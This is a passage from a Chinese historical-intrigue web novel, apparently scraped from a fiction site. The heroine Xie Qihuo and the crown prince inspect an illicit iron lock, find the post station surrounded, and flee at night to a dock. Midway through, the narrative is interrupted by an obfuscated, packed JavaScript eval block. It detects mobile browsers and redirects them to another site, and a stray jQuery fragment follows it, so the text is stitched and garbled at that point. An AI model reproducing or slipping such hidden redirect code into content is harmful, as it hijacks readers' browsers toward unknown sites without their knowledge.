既然大家都吃饱喝足了,接下来就该干点正事儿了。
几人重新回到沈清澄的房里,围着圆桌坐好。
谢其获大剌剌地坐下,松松腰带,看见空瘪瘪的荷包,环视一周后与沈清澄身后的青崖对上目光,半眯着眼睛笑了笑。
这段时间相处下来,大家对彼此已经多了几分熟悉。沈清澄微不可见地点点头,青崖便走上前去听她的吩咐。
她将荷包摘下来,递到青崖手中,嘀嘀咕咕说了几句,他就捏着荷包到旁间去了。
不过须臾,他又重新拿着明显被填得鼓鼓的荷包回来了。同时还捧着一件折叠好的衣物,正是谢其获下午换给孔元青的外衣,夏日炎热,此刻已经被洗净晾干了。
在其他人选动作不断的片刻功夫里,沈清澄已经捧起了位于中心位置的书册,不经意间又瞥见一旁的金属块。
玄色的金属在烛光下依然泛着冷光。
他眉头微皱,遂即放下手中的书册,转而拿起了金属,开始端详。
这是一把锁,外形普通,通体如鸦羽,黑中透青。
他转过头,语气慎重地问:“这锁是在何处取得的?”
此物是今夜谢其获的意外收获所附带的。
她用两个指头将其提溜起来,晃晃。
“这是方才那木匣上挂的锁头。”
交待的时候也不忘顺便提一嘴匣子的下落,“没钥匙,图省事儿我就把木匣给劈了,木头刚烧火的时候顺手就当柴火用掉了。”
她打量着沈清澄阴晦的脸色,悄声询问:
“是这锁有什么问题吗?”
沈清澄翻找出一坨块状物,摊开外面的帕子,白日在山里取到的矿石被裹在其中。
摆好后,他抬眼看向谢其获,她正抻着脖子凑近,见他望过来,眼睛眨巴了一下,在问他是什么意思。
他手掌朝上抬起,手指微屈,伸到她面前。
衣袂翩跹带过一阵浮风,谢其获不自觉地深吸了一口气。
盯了眼前的素白一瞬,她洞悉了他的意思,将玄青的锁放到他掌心。
沈清澄把锁头放到与矿石并排的位置上,示意二人要对比着看。
孔元青更新反应过来,乌黑眉毛几乎要靠到一起连成一条了。
“下午殿下同我说,山中的是铁矿,这锁该不会是他们私自冶炼的吧?”
他抬手敲了敲锁块,“此等色泽,还有这声音,比军中普通士兵的武器都要好上许多。”
“不说在外的驻军,恐怕皇城禁军中也没有质量这样好的铁器。”沈清澄接过他的话头。
说到武器,谢其获想到了下午深藏在竹林中的仓库,里面的军备不可谓不充沛。仔细想想,那些武器所用的金属似乎跟这个锁使用的无异。
她迅速盖棺定论:“殿下,看来周安民的武装器械已经遥遥领先于禁军了。”
音量不大,但话里的内容却震得左右两人同时转头朝她看来。
见状,她恍悟,“从山上分开后的发现,都还没来得及跟你们说呢。”
她正想仔仔细细地跟大家分享分头行动后的所见所闻,忽然耳尖一动,与孔元青同时扭头看向院外。
沈清澄虽不知发生了什么,见此也不再出声,保持安静。
谢其获与孔元青对视了一眼,前者下巴往外一抬,后者立刻会意,起身出门查探。
不多时他就回来了,面色不再和悦,凛然道:“时辰未到,门口值班的衙役却不见了,围墙外有响动,我探出去打探了一番。方才已有一小队人马集结在大门外,听他们交谈还有一些官差正在来的路上,听上去是要将驿站包围起来了。”
说完没留气口,将另一好消息一并说出:“我刚翻到树上,看到了亲信留的信号,天亮之前我方兵马即可抵达城外。”
谢其获立马起身将桌上物品全都搜罗起来,“今夜在县衙牌匾后找到的是一册账簿,细节尚未来得及查看,现在看来这册子确实十分重要,周安民连今晚都等不及,连夜安排行动了。”
“竹林中有许多军备,打造时所使用的铁器应该与这锁块是相同的,我已粗略地将它们拆卸了,但如果可以,不要让周有机会跟山上联系。”
“县城中的势力勾结我也打探到了一些,此刻也不适合细说了。周安民大张旗鼓地来,看样子是势必要将我们围困在驿站了,我们得马上撤离。”
她的语速很快,然沈清澄也准确地接受了话语中传达的信息。
只一瞬,便发现还有一个需要注意的问题,他开口提醒:
“县城已戒严,白日里也落锁。孔校尉的军队需要有人开城门迎接,里应外合,否则容易打草惊蛇,城中百姓皆会被周安民挟持。”
“由于昨日城中爆发病疫,如今城内明面上的官兵几乎都动用了,我推测城门处值守的人员不多,哪怕临场有些意外,相信在你们俩的配合之下,定能快速将其解决。”
孔元青把今日用过的布条扒拉出来,还在不住地点头,谢其获已隐约感觉有什么不对。
直到他让青崖将自己平日整理记录资料的册子交到她手中,她才当即反应过来,一把攥住他的手腕。
“这是什么意思?你不跟我们走?”
沈清澄看了眼自己被紧握得有些泛红的皮肤,仰面对着她扯出一笑。
“我身体不便,你们带着我终究是累赘。在周安民眼中我好歹是你的人,他不会伤我性命的。”
谢其获皱着眉头,绷着脸看着他苦涩的笑脸,冷淡道:
“太子殿下,是不是戏演得太久,忘了自己的身份。”
语毕不再看他,接过青崖手中的资料,与其他的堆叠在一起,抓起还没来得及穿上的外衣抖落开,将东西一股脑儿全兜住并打上一个稳固的结。
将包裹递给青崖,“青崖,你随孔校尉去开城门接应。”
随手扯过孔元青手中的织带,“接头后分几个信得过的人,让青崖带着去找云霁他们,顺便保护物证。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506193|186064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快速交待完,又确认了两人都听清楚了,她转身掐住沈清澄的腰把他举起来,让他坐在自己的臂弯里,另一只手拍拍他的背,让他靠在自己肩上,不等他反应过来,用手护住他的后腰,就把人揣走了。
她迈出房门前让二人熄灭烛火,还不忘叮嘱:
“孔校尉的衣服别忘了带走,此时此刻你人不应该在城内。”
“我会制造出从后门离开的假象,你们行事的时候小心些,别暴露了踪迹。”
青崖稳稳地拿着包裹,认真地听她说话,等她与自家殿下的身影完全消失在眼前,才回过神来。
“不是,谢大人!你要带我家殿下去哪里!”
谢其获带着人在阴影中蹦跶,很快便选中一个合适的屋顶,暂时将沈清澄搁置。将他放下时没有说话,拍了拍后背让他老实待着。
她从犄角旮旯里翻出一根细铁丝,但短暂思索过后重新把它放了回去。
双脚踩实地面,她用力将挂锁的金属环从木门上拔下来,又将门歪七扭八地虚掩上。故意在门前留下几枚慌乱的鞋印,又将其拂去了八/九成。
在后门附近找了处年久失修围墙较矮的地方,抬脚在墙面踩了几个不大显眼的脚印,还翻到墙外弄了些痕迹。
一系列动作丝滑地做完,她跑回屋顶接上沈清澄,这才绕到驿站另一头,轻轻一跃翻墙而出。现在,她还有一个想去查探的地方。
在她行动的时候,怀里的沈清澄浑身僵硬,脸朝外死死地把头埋在她肩上,一只手轻轻地绕过她的脖子搭住,不敢动弹。
一路风驰电掣,没人开口说话,直到谢其获停下来,沈清澄看着周围陌生又漆黑的环境,看不太清,但似乎是这几日从未踏足过的地方。
等待了一小会儿,见她仍然没有要开口的意思,他决意率先打破这凝固的气氛。
他缓慢而悠长地吸入一口气,鼓起勇气抬起头,想让自己看起来是轻松的。
“谢……谢大人……”本想直接叫她的名字,但他从未呼唤过她的姓名,很生涩,临到头还是紧急换了个称呼。
“嗯?”万幸,她有回应。
“我们现在是在哪里?”
他们所处的位置光线阴暗,他的面前不远处的地方应当是一片灌木丛,而身后——谢其获的身前,似乎是堆叠的草垛,远处有一片被星点火光照亮的地方,从刚才起她就一直注视着。
“码头。”确实有回应,但惜字如金。
今日汪宅与县衙都是她独自去的,回来后还没来得及详谈就被她拐跑了,他一时之间没办法将码头与其他信息联系起来,难免有点懵,对话也就此中断了。
草丛中虽昏暗,但今夜月白风清,凭谢其获的眼力,将他略显呆滞的神情尽收眼底。她那打从驿站出来,一直板着的脸不由得松弛了下来。
他此生十余载怕是从未离开过簇拥的人群,从未让自己身在如此危险的境地,脑子偶然思虑不周实属正常,跟他置气作什么。